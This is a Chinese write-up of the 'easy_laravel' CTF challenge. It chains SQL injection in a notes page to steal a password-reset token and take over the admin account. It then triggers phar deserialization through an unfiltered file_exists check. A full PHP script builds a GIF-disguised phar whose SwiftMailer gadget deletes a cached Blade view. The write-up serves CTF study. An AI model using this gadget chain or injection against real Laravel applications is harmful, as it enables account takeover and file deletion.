护网杯碰到一个Laravel的代码审计题目,刚好最近在用LA写平台,于是就很感兴趣,题目整体不难,对Laravel框架熟悉就可以做,但整个利用链构造的比较巧妙,感谢出题人@4uuu Nya出了这么一个有意思的题目。

源码可以发现https://github.com/qqqqqqvq/easy_laravel,下载下来本地看一下源码:

1
2
3
4
5
6
7
8
9
10
$factory->define(App\User::class, function (Faker\Generator $faker) {
static $password;

return [
'name' => '4uuu Nya',
'email' => 'admin@qvq.im',
'password' => bcrypt(str_random(40)),
'remember_token' => str_random(10),
];
});

很显然,管理员的登陆邮箱已经知道了,同时也知道密码是随机40位字符串,基本不可能爆破。
看一下路由,发现只有note可以在非admin用户下访问,看一下NoteController:

1
2
3
4
5
6
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}

明显的sqli,我们可以获取任何数据库中的内容,但是密码我们即使拿到了也没有什么用,我们发现其注册登陆的整个流程都是Laravel官方推荐的,也就是管理员肯定是这么安装的:
php artisan make:auth
既然没有重构这部分代码,也就意味着我们可以去重置管理员密码,点击重置密码时,输入管理员邮箱admin@qvq.im,那么password_resets中会更新一个token,访问/password/reset/token即可重置密码,首先利用注入拿到token:
image.png
然后修改密码即可:
image.png

Blade 模版

进入后台后,访问http://49.4.78.51:32310/flag是提示no flag,但是我们看一下FlagController

1
2
3
4
5
public function showFlag()
{
$flag = file_get_contents('/th1s1s_F14g_2333333');
return view('auth.flag')->with('flag', $flag);
}

很明显,blade渲染的跟我们看到的明显不一样,如果用Laravel写过东西,经常会遇到这种问题,明明blade更新了,页面却没有显示,这都是因为Laravel的模版缓存,很明显,现在我们需要去更改flag的模版缓存,缓存文件的名字是laravel自动生成的,生成方法如下:

1
2
3
4
5
6
7
8
9
10
/**
* Get the path to the compiled version of a view.
*
* @param string $path
* @return string
*/
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}

但是整个站的逻辑很简单,没有其他文件操作的点,那么就剩下了UploadController,只能上传图片,但是有一个方法引起了我的兴趣:

1
2
3
4
5
6
7
8
9
10
11
12
13
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁盘文件已删除,刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}

path跟filename没有任何过滤,而我们可以利用file_exists去操作phar包,这里很明显存在一个反序列化,于是现在的思路很明确:
phar反序列化=>文件操作删除或者移除=>laravel重新渲染blade=>读取flag
看了下composer,发现都是默认组件,于是全局搜一下unlink,在Swift_ByteStream_TemporaryFileByteStream的析构函数中存在unlink方法:
image.png
于是直接构造即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
*/
protected $sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $filters = [];
/**
* A buffer for writing.
*/
private $writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
/** The internal pointer offset */
private $_offset = 0;

/** The path to the file */
private $_path;

/** The mode this file is opened in for writing */
private $_mode;

/** A lazy-loaded resource handle for reading the file */
private $_reader;

/** A lazy-loaded resource handle for writing the file */
private $_writer;

/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;

/** If stream is seekable true/false, or null if not known */
private $_seekable = null;

/**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';

if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}

/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

然后上传,check的时候触发反序列化即可删除模版文件,然后访问flag路由拿到flag:-P
image.png